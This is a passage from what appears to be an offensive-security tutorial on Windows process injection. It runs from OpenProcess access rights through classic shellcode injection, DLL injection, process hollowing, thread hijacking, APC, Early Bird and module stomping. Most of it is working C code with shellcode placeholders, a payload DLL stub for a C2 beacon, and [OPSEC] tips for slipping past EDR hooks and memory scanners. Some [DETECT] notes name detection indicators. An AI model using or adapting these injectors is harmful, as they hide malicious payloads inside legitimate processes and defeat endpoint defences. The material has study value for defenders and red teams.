PROCESS_VM_OPERATION | // VirtualAllocEx, VirtualFreeEx
PROCESS_CREATE_THREAD | // CreateRemoteThread
PROCESS_QUERY_INFORMATION , // IsWow64Process, integrity checks
FALSE, targetPid);
// APC injection (queue to existing thread — no CreateRemoteThread needed)
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE |
PROCESS_VM_OPERATION ,
FALSE, targetPid);
// Thread hijacking (needs thread handle, not process vm write at first)
HANDLE hProc = OpenProcess(
PROCESS_QUERY_INFORMATION ,
FALSE, targetPid);
// PROCESS_ALL_ACCESS — maximum rights, maximum noise
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// [DETECT] PROCESS_ALL_ACCESS on non-child process = instant EDR alert in many products
// Minimum for handle duplication
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, targetPid);
9.2 SeDebugPrivilege — Enabling Elevated Handle Access
// Enable SeDebugPrivilege to open handles to SYSTEM-level processes
// Required for: injecting into svchost, lsass, services.exe etc.
// IMPORTANT: Only works if your token already has the privilege (needs admin)
#include <windows.h>
#include <stdio.h>
BOOL EnableSeDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] SeDebugPrivilege not held — need admin\n");
return FALSE;
}
printf("[+] SeDebugPrivilege enabled\n");
return TRUE;
}
[OPSEC] Enabling SeDebugPrivilege and then opening handles to SYSTEM processes is a well-known IOC. Consider using an existing high-privilege process instead of escalating your current one.
10. Classic Process Injection (VirtualAllocEx + WriteProcessMemory)
What it means: The most fundamental injection technique. Allocate RWX memory in the target, write shellcode into it, then spawn a remote thread to execute it. Simple, well-understood, and heavily detected — but the foundation all other techniques build on.
10.1 How It Works
Classic Process Injection Flow:
─────────────────────────────────
Injector Target Process (e.g., explorer.exe)
│ │
├─ OpenProcess(PID) ──────────────────── (handle opened)
│
├─ VirtualAllocEx(hProc, ..., RWX) ───── Allocates RWX page in target
│ │
├─ WriteProcessMemory(hProc, addr, ...) ─ Shellcode written to target
│ │
├─ CreateRemoteThread(hProc, addr) ────── New thread starts at shellcode
│ │
└─ WaitForSingleObject(hThread) ──────── Thread executes shellcode
10.2 Full C Implementation
// classic_inject.c
// Classic Process Injection: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// Compile: cl.exe classic_inject.c /Fe:inject.exe
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// ─── Shellcode placeholder (replace with real payload) ────────
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... (truncated for brevity — paste full shellcode here)
0x00
};
SIZE_T shellcode_len = sizeof(shellcode);
// ─── Find PID by name ─────────────────────────────────────────
DWORD GetPidByName(const char* name) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
DWORD pid = 0;
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
// ─── Main injection function ──────────────────────────────────
BOOL ClassicInject(DWORD pid, unsigned char* sc, SIZE_T scLen) {
HANDLE hProc = NULL;
HANDLE hThread = NULL;
LPVOID pRemote = NULL;
BOOL result = FALSE;
printf("[*] Target PID: %lu\n", pid);
// Step 1: Open process handle
hProc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] Process handle: 0x%p\n", hProc);
// Step 2: Allocate RWX memory in target
// [DETECT] PAGE_EXECUTE_READWRITE is a major EDR trigger
pRemote = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pRemote) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] Allocated remote memory: 0x%p (%zu bytes)\n", pRemote, scLen);
// Step 3: Write shellcode into target memory
SIZE_T written = 0;
if (!WriteProcessMemory(hProc, pRemote, sc, scLen, &written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] Wrote %zu bytes to 0x%p\n", written, pRemote);
// Step 4: Create remote thread to execute shellcode
hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] Remote thread created: TID %lu\n", GetThreadId(hThread));
// Step 5: Wait for completion (optional — comment out for async)
WaitForSingleObject(hThread, 5000);
printf("[+] Injection complete\n");
result = TRUE;
cleanup:
if (hThread) CloseHandle(hThread);
if (hProc) CloseHandle(hProc);
// Note: pRemote memory NOT freed — shellcode still running there
return result;
}
int main() {
// Enable SeDebugPrivilege for system-level targets
// EnableSeDebugPrivilege(); // Uncomment if needed
// Find target
DWORD pid = GetPidByName("notepad.exe");
if (!pid) {
printf("[-] Target process not found\n");
return 1;
}
ClassicInject(pid, shellcode, shellcode_len);
return 0;
}
10.3 Stealth Variant — RW then RX (Avoid RWX)
// Better OPSEC: Allocate RW, write, then change to RX
// Avoids the RWX (PAGE_EXECUTE_READWRITE) signature
// Step 1: Allocate RW (not executable)
pRemote = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE); // No execute yet
// Step 2: Write shellcode
WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);
// Step 3: Change protection to RX (executable, not writable)
DWORD oldProtect;
VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &oldProtect);
// Step 4: Create remote thread
hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote,
NULL, 0, NULL);
[DETECT] Creating a remote thread (NtCreateThreadEx) in another process is the single most-monitored injection indicator. Consider APC injection as a quieter alternative.
11. DLL Injection
What it means: Instead of injecting raw shellcode, you inject a path to a DLL and call LoadLibraryA in the target process. The target process loads your DLL, which runs your code in DllMain. Widely used but also widely detected.
11.1 How It Works
DLL Injection Flow:
─────────────────────────────────────────
Injector Target Process
│ │
├─ OpenProcess ──────────────────────│
├─ VirtualAllocEx (RW) ─────────────→ Allocate space for DLL path string
├─ WriteProcessMemory ───────────────→ Write "C:\evil\payload.dll\0"
├─ GetProcAddress(LoadLibraryA) ─────│ Get address of LoadLibraryA in kernel32
│ │ (same address in all processes)
└─ CreateRemoteThread(LoadLibraryA, │
dllPathAddr) ──────────────────→ Thread calls LoadLibraryA("C:\evil\...")
├─ OS loads DLL
└─ DllMain runs → your code executes
11.2 C Implementation
// dll_inject.c — DLL Injection via LoadLibraryA
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL DllInject(DWORD pid, const char* dllPath) {
HANDLE hProc = NULL;
HANDLE hThread = NULL;
LPVOID pRemote = NULL;
SIZE_T pathLen = strlen(dllPath) + 1;
hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_CREATE_THREAD, FALSE, pid);
if (!hProc) return FALSE;
// Allocate space for DLL path string in target
pRemote = VirtualAllocEx(hProc, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) { CloseHandle(hProc); return FALSE; }
// Write DLL path into target memory
WriteProcessMemory(hProc, pRemote, dllPath, pathLen, NULL);
// Get address of LoadLibraryA in kernel32 (same in all processes on same OS)
LPVOID pLoadLib = (LPVOID)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
printf("[+] LoadLibraryA @ 0x%p\n", pLoadLib);
printf("[+] DLL path written to target @ 0x%p\n", pRemote);
// Create remote thread calling LoadLibraryA(dllPath)
hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib,
pRemote, 0, NULL);
if (!hThread) {
VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
WaitForSingleObject(hThread, 5000);
printf("[+] DLL injection complete\n");
// Cleanup path string (DLL itself stays loaded)
VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main() {
DWORD pid = 0;
// Find target
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, "notepad.exe") == 0) {
pid = pe.th32ProcessID; break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
if (pid) DllInject(pid, "C:\\Users\\Public\\payload.dll");
return 0;
}
11.3 The DLL (Payload side)
// payload.dll — the injected DLL
#include <windows.h>
BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Runs when DLL is loaded into target process
// Run shellcode, establish C2, etc.
// Example: spawn a thread to avoid blocking DllMain
DisableThreadLibraryCalls(hModule);
// Your shellcode or C2 beacon here
// MessageBoxA(NULL, "Injected!", "DLL", MB_OK); // ← for testing
}
return TRUE;
}
[DETECT] LoadLibraryA is one of the most monitored functions. EDRs track WriteProcessMemory + CreateRemoteThread(LoadLibraryA) as a combined pattern.
12. Process Hollowing (RunPE)
What it means: Spawn a legitimate process in suspended state, hollow out its memory (replace the original executable's code), write your shellcode/PE into it, then resume execution. The process looks like a legitimate binary to the OS (Task Manager shows e.g. svchost.exe) but runs your code.
12.1 How It Works
Process Hollowing Flow:
──────────────────────────────────────────────────────────
Step 1: CreateProcess("svchost.exe", ..., CREATE_SUSPENDED)
→ Legitimate process created but NOT running yet
→ PEB, image base are set to svchost.exe
Step 2: ZwUnmapViewOfSection(hProc, imageBase)
→ "Hollow out" — unmap the original svchost.exe image
→ Process is now empty
Step 3: VirtualAllocEx at preferred image base
→ Allocate space for your PE/shellcode at same base address
Step 4: WriteProcessMemory: Write PE headers + sections
→ Your malicious PE mapped into hollow process
Step 5: SetThreadContext: Update EIP/RIP to your PE entry point
→ Thread will start at your code
Step 6: ResumeThread
→ Process runs your code, OS still shows "svchost.exe"
12.2 C Implementation — Process Hollowing
// hollowing.c — Process Hollowing (RunPE)
// NOTE: Requires a properly formatted PE binary as payload
#include <windows.h>
#include <stdio.h>
// Read a file into a heap buffer
PVOID ReadFileToMemory(const char* path, PDWORD pSize) {
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
*pSize = GetFileSize(hFile, NULL);
PVOID pBuf = HeapAlloc(GetProcessHeap(), 0, *pSize);
DWORD read;
ReadFile(hFile, pBuf, *pSize, &read, NULL);
CloseHandle(hFile);
return pBuf;
}
BOOL HollowProcess(const char* targetExe, const char* payloadPath) {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// Step 1: Spawn target in SUSPENDED state
if (!CreateProcessA(targetExe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Spawned PID %lu (suspended)\n", pi.dwProcessId);
// Step 2: Read payload PE from disk
DWORD payloadSize;
PVOID pPayload = ReadFileToMemory(payloadPath, &payloadSize);
if (!pPayload) {
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
// Step 3: Parse PE headers
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)pPayload;
PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)
((ULONG_PTR)pPayload + pDosHdr->e_lfanew);
ULONGLONG preferredBase = pNtHdrs->OptionalHeader.ImageBase;
SIZE_T imageSize = pNtHdrs->OptionalHeader.SizeOfImage;
// Step 4: Get current image base of target process from PEB
// (Read PEB.ImageBaseAddress via NtQueryProcessInformation or manual PEB walk)
// Simplified here — assume we can read via ReadProcessMemory
// Step 5: Unmap original image
typedef NTSTATUS (NTAPI* pZwUnmap)(HANDLE, PVOID);
pZwUnmap ZwUnmap = (pZwUnmap)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
ZwUnmap(pi.hProcess, (PVOID)preferredBase);
printf("[+] Unmapped original image\n");
// Step 6: Allocate memory at preferred base
LPVOID pNewBase = VirtualAllocEx(pi.hProcess, (LPVOID)preferredBase,
imageSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pNewBase) {
// Fallback: let OS choose base (requires relocation fixup)
pNewBase = VirtualAllocEx(pi.hProcess, NULL, imageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
}
printf("[+] New base: 0x%p\n", pNewBase);
// Step 7: Write PE headers
WriteProcessMemory(pi.hProcess, pNewBase, pPayload,
pNtHdrs->OptionalHeader.SizeOfHeaders, NULL);
// Step 8: Write each section
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs);
for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) {
PVOID dest = (PVOID)((ULONG_PTR)pNewBase + pSection[i].VirtualAddress);
PVOID src = (PVOID)((ULONG_PTR)pPayload + pSection[i].PointerToRawData);
WriteProcessMemory(pi.hProcess, dest, src, pSection[i].SizeOfRawData, NULL);
}
printf("[+] Sections written\n");
// Step 9: Fix up thread context (set RIP/EIP to entry point)
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ULONGLONG entryPoint = (ULONGLONG)pNewBase +
pNtHdrs->OptionalHeader.AddressOfEntryPoint;
// Apply base relocation delta if base changed
if ((ULONGLONG)pNewBase != preferredBase) {
// Relocation fixup required (omitted for brevity — iterate reloc table)
printf("[!] Base relocated — fixup required\n");
}
#ifdef _WIN64
ctx.Rcx = entryPoint; // x64: first param = entry point (for some techniques)
ctx.Rip = entryPoint; // Set instruction pointer
#else
ctx.Eax = entryPoint;
ctx.Eip = entryPoint;
#endif
SetThreadContext(pi.hThread, &ctx);
printf("[+] Thread context updated, RIP = 0x%llx\n", entryPoint);
// Step 10: Resume
ResumeThread(pi.hThread);
printf("[+] Process resumed — hollowing complete\n");
HeapFree(GetProcessHeap(), 0, pPayload);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main() {
// Target: a legitimate binary (will be hollowed)
// Payload: your PE binary
HollowProcess("C:\\Windows\\System32\\svchost.exe",
"C:\\Users\\Public\\payload.exe");
return 0;
}
[DETECT] Process hollowing is detected by: (1) CREATE_SUSPENDED + ZwUnmapViewOfSection + WriteProcessMemory pattern, (2) mismatched image on disk vs memory (Phantom Section detection), (3) SetThreadContext on suspended thread.
13. Thread Hijacking (SetThreadContext)
What it means: Instead of creating a new thread (detectable), suspend an existing thread in the target process, redirect its instruction pointer to your shellcode, and resume it. No CreateRemoteThread call — avoids one major detection vector.
13.1 C Implementation
// thread_hijack.c — Thread context hijacking for injection
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL ThreadHijackInject(DWORD pid, unsigned char* shellcode, SIZE_T scLen) {
HANDLE hProc = NULL;
HANDLE hThread = NULL;
LPVOID pRemote = NULL;
DWORD tid = 0;
CONTEXT ctx = {0};
// Step 1: Open target process
hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProc) { printf("[-] OpenProcess: %lu\n", GetLastError()); return FALSE; }
// Step 2: Find a thread in the target
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tid = te.th32ThreadID;
break;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
if (!tid) { printf("[-] No thread found\n"); CloseHandle(hProc); return FALSE; }
printf("[+] Target thread TID: %lu\n", tid);
// Step 3: Open the thread
hThread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT |
THREAD_SUSPEND_RESUME, FALSE, tid);
if (!hThread) { printf("[-] OpenThread: %lu\n", GetLastError()); goto fail; }
// Step 4: Allocate RW memory, write shellcode, make RX
pRemote = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) goto fail;
WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);
DWORD old;
VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode @ 0x%p\n", pRemote);
// Step 5: Suspend target thread
SuspendThread(hThread);
// Step 6: Get current thread context (save original RIP)
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
printf("[+] Original RIP: 0x%llx\n", (unsigned long long)ctx.Rip);
// Step 7: Redirect RIP to shellcode
// Classic: overwrite RIP directly
#ifdef _WIN64
ctx.Rip = (DWORD64)pRemote;
#else
ctx.Eip = (DWORD)pRemote;
#endif
SetThreadContext(hThread, &ctx);
printf("[+] RIP redirected to 0x%p\n", pRemote);
// Step 8: Resume thread — executes shellcode
ResumeThread(hThread);
printf("[+] Thread resumed\n");
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
fail:
if (hThread) CloseHandle(hThread);
if (hProc) CloseHandle(hProc);
return FALSE;
}
[OPSEC] Thread hijacking redirects an existing thread, so no new thread is created. However, SuspendThread + SetThreadContext + ResumeThread is a known pattern. Also: the hijacked thread never returns to its original task — if it was doing critical work, the target process may crash or behave abnormally.
14. APC Injection (QueueUserAPC)
What it means: Asynchronous Procedure Calls (APCs) are functions that execute asynchronously in the context of a specific thread. By queuing an APC to a thread in the target process, you can execute code without calling CreateRemoteThread. The APC fires when the thread enters an "alertable wait" state (e.g., SleepEx, WaitForSingleObjectEx).
14.1 How It Works
APC Injection Flow:
───────────────────────────────────────────────
Step 1: OpenProcess + VirtualAllocEx + WriteProcessMemory
(same as classic — write shellcode to target memory)
Step 2: Find thread(s) in target process that may enter alertable wait
(svchost threads, worker threads often call SleepEx/WaitForSingleObjectEx)
Step 3: OpenThread(THREAD_SET_CONTEXT, ...)
Step 4: QueueUserAPC(shellcodeAddr, hThread, 0)
→ APC queued to target thread's APC queue
→ Does NOT execute yet
Step 5: When target thread next calls SleepEx(x, TRUE) or equivalent
→ OS drains APC queue → shellcode executes
→ No new thread created
14.2 C Implementation
// apc_inject.c — APC Injection
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL ApcInject(DWORD pid, unsigned char* shellcode, SIZE_T scLen) {
HANDLE hProc = NULL;
LPVOID pRemote = NULL;
DWORD queuedCount = 0;
// Step 1: Open process and write shellcode
hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (!hProc) return FALSE;
pRemote = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) { CloseHandle(hProc); return FALSE; }
WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);
DWORD old;
VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode @ 0x%p in PID %lu\n", pRemote, pid);
// Step 2: Enumerate threads and queue APC to ALL of them
// (APC only fires when thread enters alertable wait — shotgun approach)
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID != pid) continue;
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE,
te.th32ThreadID);
if (!hThread) continue;
// Queue APC — shellcode executes when thread is in alertable wait
if (QueueUserAPC((PAPCFUNC)pRemote, hThread, 0)) {
printf("[+] APC queued to TID %lu\n", te.th32ThreadID);
queuedCount++;
}
CloseHandle(hThread);
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
printf("[+] APC queued to %lu threads\n", queuedCount);
if (queuedCount == 0) {
printf("[-] No threads accepted APC queue\n");
VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
CloseHandle(hProc);
return TRUE;
}
[OPSEC] APC injection doesn't call CreateRemoteThread — but QueueUserAPC on a remote thread is still monitored by some EDRs (NtQueueApcThread hook). It's only effective if a thread enters an alertable wait state; many threads never do.
15. Process Doppelgänging
What it means: An advanced technique that abuses NTFS transactions to create a process from a transacted file that was never written to disk. The PE payload exists only within a transaction (never committed), so AV/EDR that scans the file on disk never sees the payload.
15.1 How It Works
Process Doppelgänging Flow:
────────────────────────────────────────────────────────
Step 1: CreateTransaction()
→ Open an NTFS transaction handle (like a database transaction)
Step 2: CreateFileTransacted(target_path, ..., hTransaction)
→ Open a file (e.g., svchost.exe) within the transaction
Step 3: WriteFile (transacted) → overwrite with payload PE
→ Payload written inside transaction — NOT committed to disk
→ AV scanner sees original svchost.exe on disk
Step 4: NtCreateSection(hTransactedFile)
→ Create a section object from the transacted file
→ Section contains YOUR payload PE, not original
Step 5: NtCreateProcessEx(section)
→ Create process from the malicious section
Step 6: NtRollbackTransaction()
→ Rollback the NTFS transaction
→ The file on disk reverts to clean svchost.exe
→ Process is already created — it keeps running
Step 7: NtCreateThreadEx → execute process entry point
15.2 Key API Calls
// Process Doppelgänging — key API signatures
// Requires: dynamic resolution from ntdll.dll
// NTFS Transaction APIs (KtmW32.dll)
typedef HANDLE (WINAPI* pCreateTransaction)(
LPSECURITY_ATTRIBUTES, LPGUID, DWORD, DWORD, DWORD, DWORD, LPWSTR);
typedef BOOL (WINAPI* pRollbackTransaction)(HANDLE);
// Transacted file I/O (kernel32.dll)
typedef HANDLE (WINAPI* pCreateFileTransacted)(
LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD,
HANDLE, HANDLE, PUSHORT, PVOID);
// NT Native APIs (ntdll.dll)
typedef NTSTATUS (NTAPI* pNtCreateSection)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
ULONG, HANDLE, HANDLE, HANDLE, BOOLEAN);
typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID);
// Resolve at runtime:
HMODULE hKtm = LoadLibraryA("KtmW32.dll");
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pCreateTransaction CreateTxn = GetProcAddress(hKtm, "CreateTransaction");
pRollbackTransaction RollbackTxn = GetProcAddress(hKtm, "RollbackTransaction");
pCreateFileTransacted CreateFileTx = GetProcAddress(hKernel, "CreateFileTransactedW");
pNtCreateSection NtCreateSec = GetProcAddress(hNtdll, "NtCreateSection");
pNtCreateProcessEx NtCreateProc = GetProcAddress(hNtdll, "NtCreateProcessEx");
[DETECT] Doppelgänging was largely addressed in Windows 10 RS3+. Modern EDRs detect mismatches between the process image path and the actual section backing it. The technique is historically significant but less reliable on modern Windows.
16. Early Bird APC Injection
What it means: A variation of APC injection where the shellcode is queued before the process begins executing (while still in CREATE_SUSPENDED state). Because the APC fires before any EDR hooks are loaded into the new process, it can bypass user-mode hooks entirely.
16.1 C Implementation
// early_bird.c — Early Bird APC Injection
// Shellcode executes before any DLLs (including EDR's) fully initialize
#include <windows.h>
#include <stdio.h>
BOOL EarlyBirdInject(const char* targetExe, unsigned char* shellcode, SIZE_T scLen) {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
LPVOID pRemote = NULL;
DWORD old;
// Step 1: Spawn target in SUSPENDED state
if (!CreateProcessA(targetExe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] PID: %lu | TID: %lu (suspended)\n", pi.dwProcessId, pi.dwThreadId);
// Step 2: Allocate memory in new process
pRemote = VirtualAllocEx(pi.hProcess, NULL, scLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) {
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
// Step 3: Write shellcode
WriteProcessMemory(pi.hProcess, pRemote, shellcode, scLen, NULL);
VirtualProtectEx(pi.hProcess, pRemote, scLen, PAGE_EXECUTE_READ, &old);
printf("[+] Shellcode @ 0x%p\n", pRemote);
// Step 4: Queue APC to the main thread (still suspended)
// When thread resumes, it drains APC queue FIRST (before main entry point)
if (QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
printf("[+] APC queued to main thread TID %lu\n", pi.dwThreadId);
} else {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
// Step 5: Resume — APC fires BEFORE any user code / EDR hooks initialize
ResumeThread(pi.hThread);
printf("[+] Thread resumed — shellcode runs via APC\n");
WaitForSingleObject(pi.hProcess, 3000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main() {
// Example: spawn notepad, inject shellcode before it renders
unsigned char sc[] = { /* calc.exe shellcode */ 0x90, 0x90, 0xCC }; // Replace
EarlyBirdInject("C:\\Windows\\System32\\notepad.exe", sc, sizeof(sc));
return 0;
}
[OPSEC] Early Bird is highly effective because the shellcode runs before EDR DLLs complete initialization in the new process. The tradeoff: the spawned process is visible and the APC is still queued via a hooked QueueUserAPC in your process.
17. Module Stomping / Overloading
What it means: Instead of allocating new suspicious memory, overwrite the .text section of a legitimate, already-loaded DLL in the target process. The shellcode lives at a memory address backed by a real DLL on disk — making memory scanning much harder since the address resolves to a valid module.
17.1 How It Works
Module Stomping Flow:
────────────────────────────────────────────────
Step 1: Find a non-critical, loadable DLL in target
(e.g., xpsservices.dll — rarely used, present on most systems)
Step 2: Enumerate loaded modules in target → find .text section base + size
Step 3: VirtualProtectEx → Change .text section to PAGE_READWRITE
Step 4: WriteProcessMemory → Overwrite .text section with shellcode
Step 5: VirtualProtectEx → Restore PAGE_EXECUTE_READ
Step 6: CreateRemoteThread → point to shellcode (inside legitimate DLL mapping)
Result:
├─ Shellcode lives at: 0x7ffb30001000
├─ Memory scanner queries: what maps to this address?
│ → ntdll.dll (or target DLL) .text section
└─ Scanner thinks: legitimate code → no alert
17.2 C Implementation
// module_stomp.c — Module Stomping injection
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Find base address of a module in target process
ULONG_PTR GetRemoteModuleBase(DWORD pid, const char* modName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE |
TH32CS_SNAPMODULE32, pid);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 me = { sizeof(me) };
ULONG_PTR base = 0;
if (Module32First(hSnap, &me)) {
do {
if (_stricmp(me.szModule, modName) == 0) {
base = (ULONG_PTR)me.modBaseAddr;
break;
}
} while (Module32Next(hSnap, &me));
}
CloseHandle(hSnap);
return base;
}
BOOL ModuleStompInject(DWORD pid, const char* stompeeDll,
unsigned char* shellcode, SIZE_T scLen) {
HANDLE hProc = NULL;
DWORD old;
ULONG_PTR modBase;
hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_CREATE_THREAD, FALSE, pid);
if (!hProc) return FALSE;
// Step 1: Force target to load the DLL we want to stomp
// (Skip if already loaded — check GetRemoteModuleBase first)
modBase = GetRemoteModuleBase(pid, stompeeDll);
if (!modBase) {
// Load it first via LoadLibraryA injection (see §11)
printf("[-] %s not loaded in target — load it first\n", stompeeDll);
CloseHandle(hProc);
return FALSE;
}
printf("[+] %s base in target: 0x%llx\n", stompeeDll, (ULONG64)modBase);
// Step 2: Find .text section — read PE headers from target
// Simplified: stomp at base + header offset (real code parses sections)
ULONG_PTR textSection = modBase + 0x1000; // Typical .text offset — parse properly
// Step 3: Change .text to writable
VirtualProtectEx(hProc, (LPVOID)textSection, scLen,
PAGE_READWRITE, &old);
// Step 4: Write shellcode into .text
WriteProcessMemory(hProc, (LPVOID)textSection, shellcode, scLen, NULL);
